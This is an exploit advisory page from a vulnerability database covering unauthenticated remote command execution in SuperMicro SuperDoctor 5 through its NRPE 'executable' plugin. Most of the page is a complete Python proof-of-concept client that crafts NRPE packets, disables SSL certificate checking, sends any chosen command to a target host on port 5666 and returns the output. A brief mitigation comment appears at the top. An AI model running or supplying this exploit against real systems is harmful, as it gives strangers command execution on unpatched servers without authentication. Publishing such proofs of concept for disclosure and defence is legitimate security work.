SuperDoctor5 NRPE Remote Code Execution

2019.06.26
Credit: Simon Gurney
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# SuperMicro implemented a Remote Command Execution plugin in their implementation of # NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'. # This is an intended feature but leaves the system open (by default) to unauthenticated # remote command execution by abusing the 'executable' plugin with an NRPE client. # # For your pleasure, here is a PoC Python NRPE Client that will connect, execute the # cmd of choice and return its output. # # To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed # to execute NRPE commands agaist the system and/or block traffic on port 5666. # # NRPE cannot be disabled in this software, see Guide section 3.2 #Author: Simon Gurney #Date: 23/05/2019 #Vendor: SuperMicro #Product: SuperMicro Super Doctor 5 #Version: 5 #Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf ### Configurables command = "ping 1.1.1.1 -n 1" target = "1.2.3.4" target_port = 5666 ### Don't need to change anything below import binascii import struct import socket import ssl #### Struct Encoding Types StructCodeInt16 = "!h" ## Unsigned Int16 StructCodeInt32 = "!L" ## Unsigned Int32 #### NRPE Specific definitions NRPE_Version = ("","One", "Two", "Three") NRPE_Packet_Type = ("", "Query", "Response") NRPE_Response = ("Ok", "Warning", "Critical", "Unknown") NRPE_Version_1 = 1 NRPE_Version_2 = 2 NRPE_Version_3 = 3 NRPE_Packet_Type_Query = 1 NRPE_Packet_Type_Response = 2 NRPE_Response_Ok = 0 NRPE_Response_Warning = 1 NRPE_Response_Critical = 2 NRPE_Response_Unknown = 3 NRPE_Response_Type_Query = 3 #### RandomDefintions NullByte = b"\x00" TwoCharSuffix = "SG" class NRPEpacket: port = 5666 server = "127.0.0.1" nrpeVersion = NRPE_Version_2 nrpePacketType = NRPE_Packet_Type_Query nrpeResponseCode = NRPE_Response_Type_Query ownSocket = None def CalculateCRC(self): tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion) tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType) tempBuffer += NullByte * 4 tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode) tempBuffer += self.content return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff)) def PadTo1024Bytes(self,command): if len(command) <= 1024: tempBuffer = command else: Error("Command string is too long!") while len(tempBuffer) < 1024: tempBuffer += "\x00" tempBuffer += TwoCharSuffix return tempBuffer.encode() def Connect(self): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.server,self.port)) def WrapSSL(self): self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL") def Send(self): tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion) tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType) tempBuffer += self.crc tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode) tempBuffer += self.content self.socket.send(tempBuffer) def Recv(self): tempBuffer = self.socket.recv(2048) self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0] self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0] self.crc = tempBuffer[4:8] self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0] self.content = tempBuffer[10:] if self.crc != self.CalculateCRC(): print ("CRC does not match!") def PrintOut(self): print(" -=-=-=-= Begin NRPE Content =-=-=-=-") print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion])) print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType])) print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0]) print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode])) print("| Packet Content:") print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00")) print(" -=-=-=-= End NRPE Content =-=-=-=-") def Close(self): if not self.ownSocket: self.socket.close() def AutoSend(self): print("Sending...") self.PrintOut() self.Send() print("Receiving...") self.Recv() self.PrintOut() self.Close() def __init__(self, command, socket=None, server=None, port = None, ssl=True): self.content = self.PadTo1024Bytes(command) self.crc = self.CalculateCRC() if server: self.server = server if port: self.port = port if not socket: self.Connect() else: self.socket = socket self.ownSocket = True if ssl == True: self.WrapSSL() #NRPE CMD format is "executable!<binary>!<arguments> i.e." #NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend() split = command.split(" ",1) cmd = "executable!" + split[0] + "!" + split[1] NRPEpacket(cmd, server=target, port=target_port).AutoSend()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top